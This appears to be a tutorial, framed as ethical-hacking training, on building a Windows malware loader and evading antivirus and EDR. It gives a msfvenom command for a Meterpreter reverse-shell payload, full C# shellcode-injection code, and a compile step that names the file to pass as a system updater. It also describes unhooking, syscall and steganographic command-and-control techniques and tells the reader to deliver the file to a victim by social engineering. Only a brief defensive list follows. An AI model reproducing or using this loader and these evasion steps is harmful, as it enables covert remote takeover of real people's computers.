Mastering the techniques behind modern malware development and evasion tactics
I. From Automated Tools to First Principles
The journey of an ethical hacker involves moving from automated tools to a deep understanding of the underlying principles. Classic frameworks like Veil taught us a critical lesson: pre-packaged, signature-based payloads are doomed to fail. To achieve evasion, one must control the entire execution chain.
II. Malware Engineering: The Shellcode Injection Workflow
Our objective is to execute a Meterpreter shellcode in the memory of a target process, bypassing static analysis by antivirus engines. We will accomplish this by creating a custom C# loader that performs this injection, a technique known as "process injection."
Phase 1: Generating the Core Component (Shellcode)
We begin by using msfvenom to generate our shellcode. The key is to output it as a C# byte array, which allows us to embed it directly into our loader's source code.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Your_Kali_IP LPORT=4444 -f csharp -o shellcode.csThis command creates a file, shellcode.cs, containing our payload formatted as byte[] buf = new byte[size] {0xfc, 0x48, ...};.
Phase 2: Crafting the C# Loader
Our loader will use direct Windows API calls via Platform Invocation Services (P/Invoke) to perform the injection. This gives us low-level control over the process.
// Runner.cs - A simple in-memory shellcode injector
using System;
using System.Runtime.InteropServices;
public class Program {
// Import necessary WinAPI functions from kernel32.dll
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
public static void Main(string[] args) {
// --- Paste the shellcode array from msfvenom's output here ---
byte[] shellcode = new byte[510] { 0xfc, 0x48, 0x83, /* ... rest of shellcode ... */ };
// 1. Allocate a block of memory with Read/Write/Execute permissions
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
// 2. Copy the shellcode into the newly allocated memory space
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// 3. Execute the shellcode by creating a new thread pointing to our memory block
uint threadId;
CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out threadId);
}
}VirtualAlloc: This is the core memory allocation function.IntPtr.Zero: We let the OS decide where to place the memory block.0x3000: This is a bitwise combination ofMEM_COMMIT(0x1000) andMEM_RESERVE(0x2000), which reserves and commits the memory pages in a single step.0x40: This is the crucialPAGE_EXECUTE_READWRITEflag. We are telling the OS that this memory region will contain executable code. EDR solutions heavily monitor calls that create executable memory pages.
CreateThread: This function creates a new thread of execution within the current process. We point its starting address directly to our allocated memory block (mem), causing the CPU to begin executing our shellcode.
Phase 3: Cross-Compiling for the Target
Using the Mono C# compiler on Kali, we can create a Windows executable without needing a Windows machine for development.
# Install Mono if needed: sudo apt update && sudo apt install mono-mcs -y
# Compile our C# source file into a .exe
mcs -out:svchost-updater.exe Runner.csWe now have a self-contained executable, svchost-updater.exe, which looks more legitimate than `payload.exe`.
III. Advanced Evasion Concepts: The Next Level
A simple C# loader may still be caught by sophisticated EDRs. A real threat actor would layer more techniques:
ntdll.dll. When our program calls CreateThread, it's actually calling the EDR's hook, which inspects the call before passing it to the real function. Advanced malware bypasses this by either (a) restoring the original, unhooked version of the function from a clean copy on disk or (b) using direct "syscalls" to talk to the Windows kernel, bypassing the hooked user-land functions entirely.
IV. Steganography: The Threat Actor's Perspective
As covered in CEHv13, steganography is rarely used to deliver an initial executable. Its true power lies in its ability to create covert channels that blend in with legitimate network traffic.
- An implant on a compromised host is programmed to periodically download a specific image from a public, high-reputation domain (e.g., a specific user's profile picture on a social media site).
- The APT actor updates this image. Using LSB steganography, they embed their next command (e.g., `run_mimikatz`, `exfiltrate_docs`) into the image's pixel data.
- The implant downloads the "new" image, extracts the command, executes it, and then embeds the output into a different image, which it uploads to another public service.
This C2 traffic is extremely difficult to detect because it just looks like a user browsing the web. No suspicious domains or direct IP connections are made.
V. The Attack Phase & Defensive Posture
1. Listener Setup and Execution
Set up the matching Metasploit listener (exploit/multi/handler) and deliver your compiled svchost-updater.exe to the victim via a social engineering pretext. Upon execution, you should receive a Meterpreter session.
A multi-layered defense is required to counter these techniques:
- Application Control (AppLocker/WDAC): The most effective control. In a whitelisting configuration, only signed and approved executables can run. Your unsigned, custom-compiled loader would be blocked by default.
- EDR with Behavioral Analytics: An advanced EDR will detect the attack pattern: an unknown process allocating executable memory and then creating a thread within it. This process DNA is highly suspicious, regardless of the file's signature.
- Memory Scanning: Modern security solutions can periodically scan process memory for IOCs, such as the unique strings or byte sequences found in Meterpreter's reflective loader.
- Network Traffic Analysis: Even if the payload executes, the C2 connection to your Metasploit listener can be detected. Egress filtering and SSL/TLS inspection can identify anomalous outbound connections.